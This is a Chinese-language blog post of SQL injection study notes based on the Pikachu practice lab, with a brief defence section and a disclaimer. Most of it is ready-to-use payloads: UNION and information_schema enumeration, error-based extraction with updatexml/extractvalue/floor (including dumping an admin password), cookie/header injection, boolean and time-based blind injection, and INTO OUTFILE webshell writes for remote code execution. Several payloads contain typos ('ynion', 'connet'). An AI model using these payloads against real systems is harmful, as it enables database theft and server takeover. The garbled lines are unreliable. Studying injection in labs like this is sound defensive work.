SQL注入
SQL字符类型
SQL字符类型要构造 单引号闭合
SQL搜索注入
1 |
Select * from where id like '%$name%' |
SQL XX型
1 |
Select * from xxx where name =('$name') |
Union
Union 需要与前一句SQL语言相同数量的字段
如何指导前一句的字段数,order by x //按列排序
二分法快速尝试
1 |
'' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS ##构造时注意<‘>号的闭合 |
SQL可以获取那些信息
SQL获取用户版本名称知识
1 |
Select user(); |
Information_schema mysql自带的敏感数据库
着重两个表 TABLES,COLUMNS。
查表
1 |
union |
查表中字段
1 |
Select table_name,column_name from information_schema.columns where table_name = 'users'# |
基于函数报错的信息获(select/insert/update/delete)
常用报错函数:
Updatexml();**对**XML**文档数据进行查询修改的**XPATH**函数。**
Extractvalue();**对**XML**文档数据进行擦洗的**XPATH**函数。**
Floor();MYSQL**中用来取整**数。
Updatexml(xml_document,Xpathstring,new_value)
参数1:fiedname是string格式,为表中的字段名
参数2:XPathstring(Xpath格式的字符串)
参数3:new_value,String格式,替换找到符合的条件的
例句:kobe’ and updatexml(1,version(),0)# 获取xpath的末版本号
concat()组合参数
1 |
'kobe' and updatexml(1,concat(0x7e,version()),0)##构造时注意<‘>号的闭合 |
1 |
'kobe' and updatexml(1,concat(0x7e,database()),0)#获取数据库名#构造时注意<‘>号的闭合 |
1 |
'kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)),0)#获取表名**#构造时注意<‘>号的闭合 |
1 |
'kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0)#获得表名之后获得列名#构造时注意<‘>号的闭合 |
获得列名后获得数据库数据
1 |
'Kobe' and updatexml(1,concat(0x7e,(select user_id from users limit 0,1)),0)##构造时注意<‘>号的闭合 |
Extractvalue(xml_document,xpath_string)
第一个参数XML_document是string格式,为XML文档对象名称,文字为Doc
第二个参数Xpath_string字符串格式
1 |
'kobe' and extractvalue(0,concat(0x7e,version()))##构造时注意<‘>号的闭合 |
Floor()
运算中要有count,group by,rand().
1 |
'Kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2)) x from information_schema.tables group by x)a)##构造时注意<‘>号的闭合 |
1 |
'Kobe' and (select 2 from (select count(*),concat((**select password from users where username='admin' limit 0,1)**,floor(rand(0)*2)) x from information_schema.tables group by x)a)##构造时注意<‘>号的闭合 |
insert和update
1 |
Insert into member(xxxx,xxxx,xxxx) values('xxxxx','xxxx','xxxxx') |
1 |
'Xiao' or updatexml(1,concat(0x7e,database()),0)##构造时注意<‘>号的闭合 |
update书写一致
delete
1 |
Delete from message where id =xxxx |
1 |
1 or updatexml(1,connet(0x7e,datename()),0) |
请求需要重新编码
请求头部注入
header注入需要网页获取目标请求头可以提交sql语言
1 |
Cookie: ant[uname] = 'admin' and updatexml(1,concat(0x7e,database()),0)# |
1 |
'firefox' or updatexml(1,concat(0x7e,database()),0) or ' #构造时注意<‘>号的闭合 |
盲注
1 |
'Lucy' and 1=1# 判断结构是否接受课后面的and操作 #构造时注意<‘>号的闭合 |
1 |
'Lucy' and 1=2# #构造时注意<‘>号的闭合 |
1 |
Select ascii(Substr(database(),1,1))>100 |
Substr()取值,取几个
Ascii()转换ascii码
1 |
Select length(datbabase());获得长度 |
1 |
Select length(datbabase())>7 |
0fals 1 true
1 |
'Lucy' and Ascii(Substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=122#构造时注意<’>号的闭合 |
基于时间的盲注
1 |
'Koke' and sleep(5)#构造时注意<’>号的闭合 |
1 |
'Kobe' and if((substr(database(),1,1))='p' , sleep(5),null)#构造时注意<’>号的闭合 |
SQL的一句话木马
1 |
Select 1,2 into outfile "/var/www/html/1.txt" |
需要指导远程目录
需要远程目录有写的权限
需要数据库开启secure_file_priv
1 |
'kobe' ynion select " <?php @eval()?>",2 into outfile "var/www/html/1.php"#远程代码执行#构造时注意<’>号的闭合 |
1 |
'kobe' ynion select " <?php system()?>",2 into outfile "var/www/html/1.php"#远程命令执行#构造时注意<’>号的闭合 |
1 |
$_GET('text') |
SQL Inject漏洞之表(列)名的暴力破解
1 |
'Kobe' and exists(select * from aa)#aa为字典 #构造时注意<’>号的闭合 |
1 |
'Kobe' and exists(select id from user)##构造时注意<’>号的闭合 |
防范
-
代码层面:
过滤转yi
使用预处理和参数化
-
pdo预处理
-
网络层面
通过WAF设备启动防止sql注入的策略
云端防护措施
注意
以上资料仅作信息防御技术使用,不得随意尝试,如有尝试,作者概不负责。
学习内容来源于pikachu。
FROM :https://ailumao.cn/ | Author:Ailumao
相关推荐: MyBatis和MyBatis可能导致的sql注入
MyBatis简介 MyBatis 是一款优秀的持久层框架,它支持定制化 SQL、存储过程以及高级映射。MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以使用简单的 XML 或注解来配置和映射原生信息,将接口和 …
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论